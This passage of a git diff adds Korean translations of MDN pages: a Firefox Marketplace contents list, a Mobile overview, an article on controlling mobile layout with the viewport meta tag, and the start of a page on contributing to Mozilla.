+ <dd><strong><a href="https://developer.mozilla.org/en-US/Apps/Tools_and_frameworks/App_developer_tools">응용프로그램 개발자 도구</a></strong> 당신이 오픈 웹 응용프로그램 개발에 효율적이고 재밋게 사용할 수 있는 도구들의 완벽한 목록을 찾아보세요.</dd>
+ <dd><strong><a href="https://developer.mozilla.org/en-US/docs/Tools/WebIDE">WebIDE</a> <a href="https://developer.mozilla.org/en-US/docs/Tools/Firefox_OS_Simulator">Firefox OS 시뮬레이터</a></strong>를 사용하거나 실제의 Firefox OS 기기를 이용하여 당신의 <a href="https://developer.mozilla.org/en-US/Firefox_OS">Firefox OS</a> 응용프로그램에 대한 테스트, 배치 및 디버깅을 할 수 있는 기본 도구입니다.</dd>
+</dl>
+</div>
+
+<h2 id="목차">목차</h2>
+
+<ol>
+ <li><a href="https://developer.mozilla.org/en-US/Marketplace/Prepare">성공을 위한 준비</a>
+
+  <ol>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Prepare/Introduction">소개</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Prepare/Deciding_what_to_build">무엇을 만들지 정합니다</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Prepare/Getting_to_know_your_users">당신의 사용자들을 파악합니다</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Prepare/Choosing_your_business_model">당신의 비즈니스 모델을 선정합니다</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Prepare/Localizing_your_apps">당신의 응용프로그램들을 지역화합니다</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Prepare/Promoting_your_app">당신의 응용프로그램을 홍보합니다</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Prepare/Creating_your_community">당신의 커뮤니티를 만드세요</a></li>
+  </ol>
+ </li>
+ <li><a href="https://developer.mozilla.org/en-US/Marketplace/Options">출시 옵션</a>
+  <ol>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Options/Introduction">소개</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Options/Packaged_apps">패키징된 응용프로그램</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Options/Hosted_apps">호스팅된 응용프로그램</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Options/Packaged_or_hosted">패키징과 호스팅이란?</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Options/Mobile_optimized_websites">모바일에 최적화된 웹사이트</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Options/Self_publishing">응용프로그램을 스스로 출시해보세요</a></li>
+  </ol>
+ </li>
+ <li><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing">응용프로그램 출시 미리보기</a>
+  <ol>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Introduction">소개</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Submission_checklist">제출전 확인사항</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Marketplace_review_criteria" title="An explanation of the criteria an app must meet in order to be published on the Firefox Marketplace">마켓플레이스 리뷰 표준</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Marketplace_showcase_criteria">마켓플레이스 공개행사 표준</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Adding_a_subdomain" title="For security reasons, each app must have its own domain (or subdomain) on the Web. This article covers how to go about creating a subdomain for your app.">응용프로그램을 위한 서브도메인 추가</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Policies_and_Guidelines">정책 및 가이드라인</a>
+    <ol>
+     <li><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Policies_and_Guidelines/Introduction">안내</a></li>
+     <li><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Policies_and_Guidelines/Marketplace_screenshot_criteria" title="Some guidelines on how to create an effective screenshot for marketplace submission">마켓플레이스 스크린샷 표준</a></li>
+     <li><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Policies_and_Guidelines/Privacy_policies" title="Your users' privacy is very important, so you need to develop and adhere to a reasonable privacy policy to engender their trust. This article provides a guide to developing privacy policies.">개인 정책</a></li>
+     <li><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Policies_and_Guidelines/Testing_and_troubleshooting">응용프로그램 테스트 및 원인분석</a></li>
+    </ol>
+   </li>
+  </ol>
+ </li>
+ <li><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Submit">당신의 응용프로그램을 제출하기</a>
+  <ol>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Submit/Overview">개관</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Submit/Sign-in_to_your_developer_account" title="This step-by-step guide will help you successfully submit your app to the Firefox Marketplace.">Step 1: 가입</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Submit/Load_your_app">Step 2: 응용프로그램 불러오기</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Submit/Enter_your_apps_details">Step 3: 세부사항 나열</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Submit/Next_steps">Step 4: 다음단계</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Submit/Rating_Your_Content">Step 5: 응용프로그램 평가</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Submit/Define_your_team">Step 6: 팀 맴버 정의</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Submit/View_your_listing">Step 7: 목록 보기</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Submit/Edit_other_localizations">Step 8: 다른 지역의 지역화를 위한 편집</a></li>
+  </ol>
+ </li>
+ <li><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Managing_your_apps">출판된 응용프로그램 관리 및 업데이트</a>
+  <ol>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Managing_your_apps/Introduction_Managing_your_apps">소개</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Managing_your_apps/Status___Versions">당신의 응용프로그램 상태</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Updating_apps" title="Information about how both hosted and packaged app updates are handled, and what you need to do to ensure that your app properly supports updating.">응용프로그램 업데이트</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Managing_your_apps/App_Statistics">별점</a></li>
+  </ol>
+ </li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Marketplace/Add-on_submission">추가제출</a>
+  <ol>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Marketplace/Add-on_submission">추가제출 개관</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Marketplace/Add-on_submission/Review_criteria">추가제출 리뷰 기준</a></li>
+  </ol>
+ </li>
+ <li><a href="https://developer.mozilla.org/en-US/Marketplace/APIs">라이브러리 및 API</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/Marketplace/FAQ">Firefox Marketplace FAQ</a></li>
+</ol>
diff --git a/files/ko/mozilla/mobile/index.html b/files/ko/mozilla/mobile/index.html
new file mode 100644
index 0000000000..6431893f01
--- /dev/null
+++ b/files/ko/mozilla/mobile/index.html
@@ -0,0 +1,30 @@
+---
+title: Mobile
+slug: Mozilla/Mobile
+translation_of: Mozilla/Mobile
+---
+<h2 id="Firefox_OS" name="Firefox_OS"><a href="/en-US/docs/Archive/B2G_OS">Firefox OS</a></h2>
+
+<p>Firefox OS는 사용자 인터페이스와 HTML, CSS 및 JavaScript로 작성된 응용 프로그램을 구동하는 Linux와 Mozilla의 Gecko 엔진을 사용하는 오픈 소스 모바일 운영 체제입니다.</p>
+
+<p>Firefox OS 설치 방법과 앱을 개발하는 방법에 대해서 살펴보십시오.</p>
+
+<div id="gt-res-tools">
+<div id="gt-res-tools-l">
+<div id="gt-pb-star">
+<div class="goog-toolbar-button goog-inline-block trans-pb-button"></div>
+</div>
+</div>
+</div>
+
+<h2 id="Firefox_for_Android" name="Firefox_for_Android"><a href="/en-US/docs/Mozilla/Firefox_for_Android">Firefox for Android</a></h2>
+
+<p><span class="hps">안드로이드</span><span class="hps">용</span> <span class="atn hps">Firefox</span><span>는</span> 안드로이드 기기를 <span>위한</span> <span class="atn hps">Mozilla</span><span>의</span> <span class="hps">모바일</span> <span class="hps">웹</span> <span class="hps">브라우저입니다.</span> 최근에 안드로이드 자체 UI를 사용하도록 재개발 되어서 더 빠르고 응답성도 좋아졌습니다. <span class="hps">카메라나</span><span class="hps"> 전화기능과 같은 기기 자체의 기능에 접근하는 강력한 API를 제공합니다.</span></p>
+
+<p>안드로이드용 Firefox를 만드는데 도움을 주는 방법이나 device API를 사용하는 방법, 모바일 부가 기능을 만드는 방법에 대해서 살펴보세요.</p>
+
+<h2 id="Mobile_web_development" name="Mobile_web_development"><a href="/en-US/docs/Web/Guide/Mobile">Mobile web development</a></h2>
+
+<p><span class="hps">모바일 장치는</span> <span class="atn hps">데스크톱</span><span>이나</span> <span class="hps">노트북</span> <span class="atn hps">컴퓨터와는 </span><span class="hps">매우 다른</span> <span class="hps">하드웨어 특징을</span> <span class="hps">가지고 있으며</span> 기기를 제어하는데 사용되는 <span class="atn hps">API</span><span>의 대부분은</span> 아직 표준화 단계에 있습니다.</p>
+
+<p><span class="hps">모바일 장치에서</span> 잘<span class="hps"> 보이는</span> <span class="atn hps">웹 사이트를 개발</span><span>하고</span> <span class="hps">제공되는</span> <span class="atn hps">새로운 가능성</span><span>을</span> <span class="atn hps">활용</span><span>하는 방법에 대해서 살펴보십시오. </span><span class="hps">웹 사이트가</span> <span class="hps">다른 브라우저에서</span> <span class="hps">잘</span> <span class="hps">작동하는지</span> <span class="hps">확인하는 방법을</span> <span class="hps">배웁니다.</span></p>
diff --git a/files/ko/mozilla/mobile/viewport_meta_tag/index.html b/files/ko/mozilla/mobile/viewport_meta_tag/index.html
new file mode 100644
index 0000000000..577fa0b5ee
--- /dev/null
+++ b/files/ko/mozilla/mobile/viewport_meta_tag/index.html
@@ -0,0 +1,99 @@
+---
+title: viewport meta 태그를 이용해 모바일 브라우저상에서 레이아웃 조종하는 법
+slug: Mozilla/Mobile/Viewport_meta_tag
+tags:
+  - viewport
+  - 레이아웃
+  - 모바일
+translation_of: Mozilla/Mobile/Viewport_meta_tag
+---
+<p>앞으로 공개될 <a class="link-https" href="https://wiki.mozilla.org/Mobile/Fennec">Mobile Firefox (Fennec)</a> 1.1 에는 개선된 <a href="/en-US/docs/Web/HTML/Element/meta#Attributes"><code>&lt;meta name="viewport"&gt;</code></a> 태그를 지원한다. 이전 버전의 Fennec에서 viewport 속성(property)으로 <code>width</code>, <code>height</code>, 그리고 <code>initial-scale</code> 가 지원되긴 했지만 iphone과 android 브라우저에 맞추어 디자인된 몇몇 사이트에서 문제가 있었다. 이제 모바일 safari 에서도 같은 속성들이 지원되며, Fennec을 고쳐서 여러가지 화면크기와 다른 해상도에서도 모바일 사이트들이 문제없이 나타나도록 했다.</p>
+
+<p>이전 touch.facebook.com:</p>
+
+<p class="figure"><img alt="05-11-fennec-meta-viewport-2.png" class="default internal" src="/@api/deki/files/4371/=05-11-fennec-meta-viewport-2.png"></p>
+
+<p class="caption">개선후 touch.facebook.com:</p>
+
+<p class="figure"><img alt="05-11-fennec-meta-viewport-1.png" class="default internal" src="/@api/deki/files/4372/=05-11-fennec-meta-viewport-1.png"></p>
+
+<p>이러한 개선점들은 최신의 <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/mobile/nightly/latest-mobile-1.9.2/">Fennec 1.1</a> 와 Maemo, Windows, Mac, or Linux를 위한 <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/mobile/nightly/latest-mobile-trunk/">trunk</a> nightly 빌드에서 볼 수 있다.</p>
+
+<h2 id="배경설명">배경설명</h2>
+
+<p>Fenec과 같은 모바일 브라우저들은 뷰포트(viewport)로 알려진 가상 "window"상에 페이지를 렌더링하는데, 보통의 경우 스크린 보다 폭이 넓어 모든 페이지 레이아웃을 억지로 작은 화면에 축소할 필요가 없다. (레이아웃을 축소할 경우 모바일 사이트로 만들지 않은 사이트들은 대개 엉망이 되게 마련이다.) 사용자들은 화면을 움직이거나 줌 기능을 이용해 페이지의 보이지 않는 부분들을 볼 수 있다.</p>
+
+<p>모바일 Safari는 "viewport meta" 태그를 도입해서 웹 개발자들이 뷰포트의 크기와 스케일을 조정할 수 있게 했고, 웹 표준은 아니지만 많은 다른 모바일 브라우저들도 이 태그를 이제 지원한다. 애플의 <a href="http://developer.apple.com/safari/library/documentatio">문서</a>를 통해 이 태그의 사용법을 자세히 알 수 있기는 하지만 Fenec내에서 정확히 어떻게 구현해야 할 것인가에 대해 상당한 연구가 진행되어야 했다. 예를 들어 사파리의 문서에는 페이지 컨텐트를 "comma-delimited list"라고 쓰고 있는데, 현존하는 브라우저와 웹페이지는 comma, semicolon, 그리고 space의 다양한 조합을 사용한다.</p>
+
+<p>다양한 브라우저내의 뷰포트에 대해 더 배우고 싶으면 quirksmode.org에 있는 <a class="external" href="http://www.quirksmode.org/mobile/viewports2.html" title="http://www.quirksmode.org/mobile/viewports2.html">A Tale of Two Viewports</a> 를 보라.</p>
+
+<h2 id="뷰포트_기본">뷰포트 기본</h2>
+
+<p>모바일로 최적화된 사이트는 일반적으로 다음과 같은 태그를 포함한다:</p>
+
+<pre class="notranslate">&lt;meta name="viewport" content="width=device-width, initial-scale=1"&gt;</pre>
+
+<p><code>width </code>속성은 뷰포트의 크기를 조정한다. 특정한 숫자를 사용해 <code>width=600</code>라고 할 수도 있고 <code>device-width</code>와 같은 특정한 값을 사용할 수도 있는데, <code>device-width</code>는 100% 스케일에서 CSS 픽셀들로 계산된 화면의 폭을 의미한다. (뷰포트의 높이에 따라 크기와 위치가 변하는 요소들로 이루어진 페이지의 경우 상응하는 <code>height</code>와 <code>device-height</code> 값들이 유용하게 사용될 수 있다.)</p>
+
+<p><code>initial-scale</code> 속성은 페이지가 처음 로드될 때 줌 레벨을 조정한다. <code>maximum-scale</code>, <code>minimum-scale</code>, 그리고 <code>user-scalable</code> 속성들은 사용자가 얼마나 페이지를 줌-인, 줌-아우트 할 수 있는지를 조정한다.</p>
+
+<div class="blockIndicator warning">
+<p><code>user-scalable=no</code>를 사용하면 저시력과 같은 시각 장애를 가진 사용자에게 접근성 문제를 일으킬 수 있습니다.</p>
+</div>
+
+<h2 id="픽셀은_사실_픽셀이_아니다">픽셀은 사실 픽셀이 아니다</h2>
+
+<p>iPhone과 인기가 많은 다양한 안드로이드 폰은 3에서 4인치 (7-10센티미터) 스크린으로 320-480픽셀 (~160 dpi)로 이루어져 있다. 동일한 물리적 스크린을 갖는 Nokia N900에서 구동되는 Maemo의 파이어폭스는 480-800픽셀(~240dpi)이다. 이러한 이유로 Fennec의 최신 버전에서 보여지는 웹페이지들은 아이폰이나 안드로이드에 비해 1/3정도 작기 때문이다(실제 물리적으로). 이는 터치인터페이스에 최적화된 웹사이트에서 사용성과 가독성의 문제를 야기시킨다. Peter-Paul Koch가 이 문제에 대해 <a href="http://www.quirksmode.org/blog/archives/2010/04/a_pixel_is_not.html">픽셀은 사실 픽셀이 아니다</a>를 작성하였다.</p>
+
+<p>Maemo 의 Fennec 1.1는 안드로이드의 웹킷기반 브라우저에 의해 각 CSS의 "픽셀"을 1.5 하드웨어 픽셀로 사용한다. 이는 <span style="font-family: courier new,andale mono,monospace; line-height: 1.5;">initial-scale=1 로 정의된 페이지를 </span><span style="line-height: 1.5;">Maemo의 </span><span style="line-height: 1.5;">Fennec과 아이폰의 사파리, 그리고 </span><a class="external" href="http://developer.android.com/guide/practices/screens_support.html#range" style="line-height: 1.5;">HDPI 와 MDPI</a> 모두의 <span style="line-height: 1.5;">안드로이드 브라우저에서 거의 동일한 물리적 사이즈로 렌더링한다는 뜻이다. 이는 </span><a class="external" href="http://www.w3.org/TR/CSS2/syndata.html#length-units" style="line-height: 1.5;">CSS 2.1 명세서</a>에 의해 아래와 같이 정의되어있다:</p>
+
+<blockquote>
+<p>만약 출력장치의 픽셀밀도가 일반적인 컴퓨터 디스플레이와 상이하게 다를경우, user agent는 반드시 픽셀값을 조절해야 한다. <span style="line-height: 1.5;">It is recommended that the pixel unit refer to the whole number of device pixels that best approximates the reference pixel. </span><span style="line-height: 1.5;">It is recommended that the reference pixel be the visual angle of one pixel on a device with a pixel density of 96dpi and a distance from the reader of an arm's length.</span><span style="line-height: 1.5;"> </span></p>
+</blockquote>
+
+<p>웹 개발자들에게 이는 세로모드에서 scale=1로 지정됐을 경우, 위에서 언급된 장치들상에서  320px이 가로로 최대가 되어야 하며,  역시 레이아웃과 이미지들도 마찬가지로 조절이 되어야 함을 의미한다. 하지만 모든 모바일 장치들이 같은 가로 값을 가지지 않는다는 점을 기억해야한다. 작성된 페이지는 가로모드뿐만 아니라, 아이패드와 안드로이드 타블렛과 같은 더 큰 장치들에서도 잘 동작되어야 한다.</p>
+
+<p>240-dpi 화면상에서, <span style="font-family: courier new,andale mono,monospace;">initial-scale=1</span>로 정의된 페이지는 Fennec과 안드로이드 웹킷에서 150%로 확대된다. 페이지의 텍스트들은 부드럽고 또렷해질것이나, 아마도 비트맵 이미지들은 최대 해상도에서 이점을 가지지 못한다. 이러한 스크린에서 또렷한 이미지를 보여주기 위해서는, 이미지나 전체적인 레이아웃을 최종 디자인의 150%(아이폰의 레티나 디스플레이와 같은 320-dpi장치들을 지원하기 위해서는 200%이다)로 작성하고, CSS나 viewport속성을 이용해 사이즈를 줄여 보여줄수도 있다.</p>
+
+<p>기본 비율은 디스플레이의 밀도에 따라 달라진다. 200dpi이하의 밀도를 갖는 디스플레이에서는 1.0이다. 200에서 300dpi사이의 장치에서는, 1.5가 된다. 300dpi이상의 장치에서는 소수점 없는 정수가 된다.(밀도/150dpi). 기본 비율은 viewport 크기가 1일때만 참이 됨을 기억하라. 그렇지 않을 경우 CSS픽셀과 장치의 픽셀간 관계는 현재의 zoom 레벨에 따라 달라진다.</p>
+
+<p><strong style="">뷰포트 너비 와 스크린 너비</strong></p>
+
+<p>많은 사이트에서 세로보기 모드로 iPhone 디스플레이에 정확하게 맞도록 뷰포트의 너비를 "width = 320, initial-scale = 1"로 설정합니다. 위에서 언급했듯이 Fennec1.0에서 특히 디스플레이가 가로 모드일때 문제가 발생했습니다. 이 문제를 해결하기 위해 Fennec 1.1은 필요한 경우 화면을 채우기 위해 뷰포트 너비를 확장합니다. 이런 현상은 Android 및 Mobile Safari의 동작과 일치하며 특히 iPad와 같은 대형 스크린 장치에 유용합니다. (Allen Pike의 iPad 사이트 용 뷰포트를 선택하여 적용해 보세요.)</p>
+
+<p>For pages that set an initial or maximum scale, this means the <code>width</code> property actually translates into a <em>minimum</em> viewport width. For example, if your layout needs at least 500 pixels of width then you can use the following markup. When the screen is more than 500 pixels wide, the browser will expand the viewport (rather than zoom in) to fit the screen:</p>
+
+<pre class="notranslate">&lt;meta name="viewport" content="width=500, initial-scale=1"&gt;</pre>
+
+<p>Fennec 1.1 also adds support for <code>minimum-scale</code>, <code>maximum-scale</code>, and <code>user-scalable</code>, with defaults and limits similar to <a class="external" href="http://developer.apple.com/safari/library/documentation/AppleApplications/Reference/SafariHTMLRef/Articles/MetaTags.html">Safari's</a>. These properties affect the initial scale and width, as well as limiting changes in zoom level.</p>
+
+<p>Mobile browsers handle orientation changes slightly differently. For example, Mobile Safari often just zooms the page when changing from portrait to landscape, instead of laying out the page as it would if originally loaded in landscape. If web developers want their scale settings to remain consistent when switching orientations on the iPhone, they must add a <code>maximum-scale</code> value to prevent this zooming, which has the sometimes-unwanted side effect of preventing users from zooming in:</p>
+
+<pre class="notranslate">&lt;meta name="viewport" content="initial-scale=1, maximum-scale=1"&gt;</pre>
+
+<p>This is not necessary in Fennec; when the device changes orientation, Fennec updates the viewport size, the page layout, and JavaScript/CSS properties like <code>device-width</code>, based on its new window dimensions.</p>
+
+<h2 id="모바일과_태블릿에_대한_일반_viewport_크기">모바일과 태블릿에 대한 일반 viewport 크기</h2>
+
+<p>If you are wanting to know what mobile and tablet devices have which viewport widths, there is a comprehensive list of <a href="http://viewportsizes.com/">모바일 및 태블릿 뷰포트 크기</a>. This gives information such as viewport width on portrait and landscape orientation as well as physical screen size, operating system and the pixel density of the device.</p>
+
+<h2 id="표준">표준</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">사양</th>
+   <th scope="col">상태</th>
+   <th scope="col">댓글</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Device', '#viewport-meta', '&lt;meta name="viewport"&gt;')}}</td>
+   <td>{{Spec2('CSS3 Device')}}</td>
+   <td>Non-normatively describes the Viewport META element</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>There is clearly demand for the viewport meta tag, since it is supported by most popular mobile browsers and used by thousands of web sites. It would be good to have a true standard for web pages to control viewport properties. As the standardization process proceeds, we at Mozilla will work to make sure we can implement any changes made during standardization.</p>
diff --git a/files/ko/mozilla/participating_in_the_mozilla_project/index.html b/files/ko/mozilla/participating_in_the_mozilla_project/index.html
new file mode 100644
index 0000000000..834c5cb808
--- /dev/null
+++ b/files/ko/mozilla/participating_in_the_mozilla_project/index.html
@@ -0,0 +1,98 @@
+---
+title: Participating in the Mozilla project
+slug: Mozilla/Participating_in_the_Mozilla_project
+translation_of: Mozilla/Participating_in_the_Mozilla_project
+---
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">버그를 고치거나 모질라 플랫폼 코드를 개선하는 작업에 관심이 있다면, 이 곳은 여러분이 작업하는데 필요한 문서를 찾을 수 있는 곳 입니다.</p>
+<table class="mainpage-table" style="font-size: 14px; margin-bottom: 10px; margin-top: 0px; margin-right: 0px; margin-left: 0px; border-collapse: collapse; width: auto; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted;">
+ <tbody>
+  <tr>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 0px; padding-right: 10px; padding-bottom: 10px; padding-left: 10px; vertical-align: top; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted;">
+    <h2 id="General_topics">General topics</h2>
+    <dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+     <dt style="font-style: normal; font-weight: bold;">
+      <a class="internal" href="/En/Developer_Guide" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Mozilla developer guide">Mozilla developer guide</a></dt>
+     <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">
+      모질라 코드베이스 개선을 위한 개발 팁과 가이드.</dd>
+     <dt style="font-style: normal; font-weight: bold;">
+      <a class="internal" href="/En/Developer_Guide/Source_Code" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Mozilla source code">Mozilla source code</a></dt>
+     <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">
+      다운로드 또는 버전 컨트롤을 통해서 모질라 코드를 얻는 방법과 여러분이 수정한 코드를 소스 코드 트리에 포함시키는 방법에 관한 정보.</dd>
+     <dt style="font-style: normal; font-weight: bold;">
+      <a class="internal" href="/En/Developer_Guide/Build_Instructions" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="En/Build Documentation">Build documentation</a></dt>
+     <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">
+      파이어폭스와 썬더버드 같은 모질라 프로젝트를 빌드하는 방법에 관한 정보. <em>이 페이지는 좀 더 정리를 해야할 필요가 있음.</em></dd>
+     <dt style="font-style: normal; font-weight: bold;">
+      <a class="internal" href="/En/The_Mozilla_platform" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="En/The Mozilla platform">The Mozilla platform</a></dt>
+     <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">
+      모질라 플랫폼의 모든 API와 각 종 기술들(technologies)을 사용하는 방법에 관한 정보.</dd>
+     <dt style="font-style: normal; font-weight: bold;">
+      <a class="internal" href="/Project:en/How_to_Help" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="Project:en/How to Help">Documenting Mozilla</a></dt>
+     <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">
+      모질라와 오픈 웹에 관한 새로운 문서를 적성하거나 기존의 문서 개선에 도움을 주는 방법.</dd>
+     <dt style="font-style: normal; font-weight: bold;">
+      <a class="internal" href="/En/Debugging" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Debugging">Debugging</a></dt>
+     <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">
+      모질라 코드 디버깅시, 유용한 팁과 가이드라인.</dd>
+     <dt style="font-style: normal; font-weight: bold;">
+      <a class="internal" href="/en/QA" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/QA">Quality assurance</a></dt>
+     <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">
+      테스트와 버그 추적(tracking)에 관한 정보.</dd>
+     <dt style="font-style: normal; font-weight: bold;">
+      <a class="internal" href="/en/Localization" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="En/Localization">Localization</a></dt>
+     <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">
+      모질라 프로젝트와 문서 등을 여러 언어로 번역에 필요한 참고할 문서들. </dd>
+     <dt style="font-style: normal; font-weight: bold;">
+      <a class="internal" href="/en/Glossary" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="En/Glossary">Glossary</a></dt>
+     <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">
+      모질라 해커들이 사용하는 용어와 정의.</dd>
+    </dl>
+    <h2 id="Project_pages">Project pages</h2>
+    <dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+     <dt style="font-style: normal; font-weight: bold;">
+      <a class="internal" href="/en/Thunderbird" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Thunderbird">Thunderbird</a></dt>
+     <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">
+      모질라 이메일 클라이언트</dd>
+     <dt style="font-style: normal; font-weight: bold;">
+      <a class="internal" href="/en/Calendar" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Calendar">Sunbird</a></dt>
+     <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">
+      모질라 달력(calendar) 프로젝트</dd>
+    </dl>
+   </td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 0px; padding-right: 10px; padding-bottom: 10px; padding-left: 10px; vertical-align: top; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted;">
+    <h2 id="Tools">Tools</h2>
+    <dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+     <dt style="font-style: normal; font-weight: bold;">
+      <a class="link-https" href="https://bugzilla.mozilla.org/" title="https://bugzilla.mozilla.org/">Bugzilla</a></dt>
+     <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">
